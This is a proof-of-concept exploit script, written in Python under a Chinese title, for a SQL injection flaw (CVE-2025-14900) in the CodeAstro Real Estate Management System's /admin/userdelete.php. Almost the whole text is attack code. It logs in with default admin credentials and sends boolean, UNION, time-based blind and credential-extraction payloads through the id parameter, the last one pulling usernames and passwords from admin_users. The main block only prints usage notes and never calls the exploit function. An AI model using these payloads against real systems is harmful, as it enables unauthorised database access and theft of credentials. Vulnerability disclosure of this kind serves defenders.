CVE-2025-14900 CodeAstro房产管理系统SQL注入漏洞

import requests import sys # CVE-2025-14900 PoC - CodeAstro Real Estate Management System SQL Injection # Target: /admin/userdelete.php # Vulnerability: SQL Injection via ID parameter target_url = "http://target-site.com/admin/userdelete.php" # Login to get admin session (required for exploitation) login_url = "http://target-site.com/admin/login.php" login_data = { "username": "admin", "password": "admin" } def exploit_sqli(target_url, session_cookie): """ SQL Injection payload examples: 1. Basic injection to confirm vulnerability 2. UNION-based injection to extract data 3. Time-based blind injection """ headers = {"Cookie": f"PHPSESSID={session_cookie}"} # Payload 1: Basic injection to confirm vulnerability payload_basic = "1' OR '1'='1" params = {"id": payload_basic} response = requests.get(target_url, params=params, headers=headers) print(f"[*] Testing basic injection: {response.status_code}") # Payload 2: UNION-based injection to extract database version payload_union = "1' UNION SELECT NULL,version(),user(),database()-- -" params = {"id": payload_union} response = requests.get(target_url, params=params, headers=headers) print(f"[*] Testing UNION injection: {response.status_code}") # Payload 3: Time-based blind injection payload_blind = "1' AND SLEEP(5)-- -" params = {"id": payload_blind} response = requests.get(target_url, params=params, headers=headers) print(f"[*] Testing blind injection: {response.status_code}") # Payload 4: Extract admin credentials payload_creds = "1' UNION SELECT NULL,username,password,NULL FROM admin_users-- -" params = {"id": payload_creds} response = requests.get(target_url, params=params, headers=headers) print(f"[*] Extracting admin credentials: {response.status_code}") return response.text if __name__ == "__main__": print("CVE-2025-14900 SQL Injection PoC") print("Target: CodeAstro Real Estate Management System 1.0") print("File: /admin/userdelete.php") # Usage instructions print("\n[!] This PoC requires authenticated admin session") print("[!] Replace 'target-site.com' with actual target")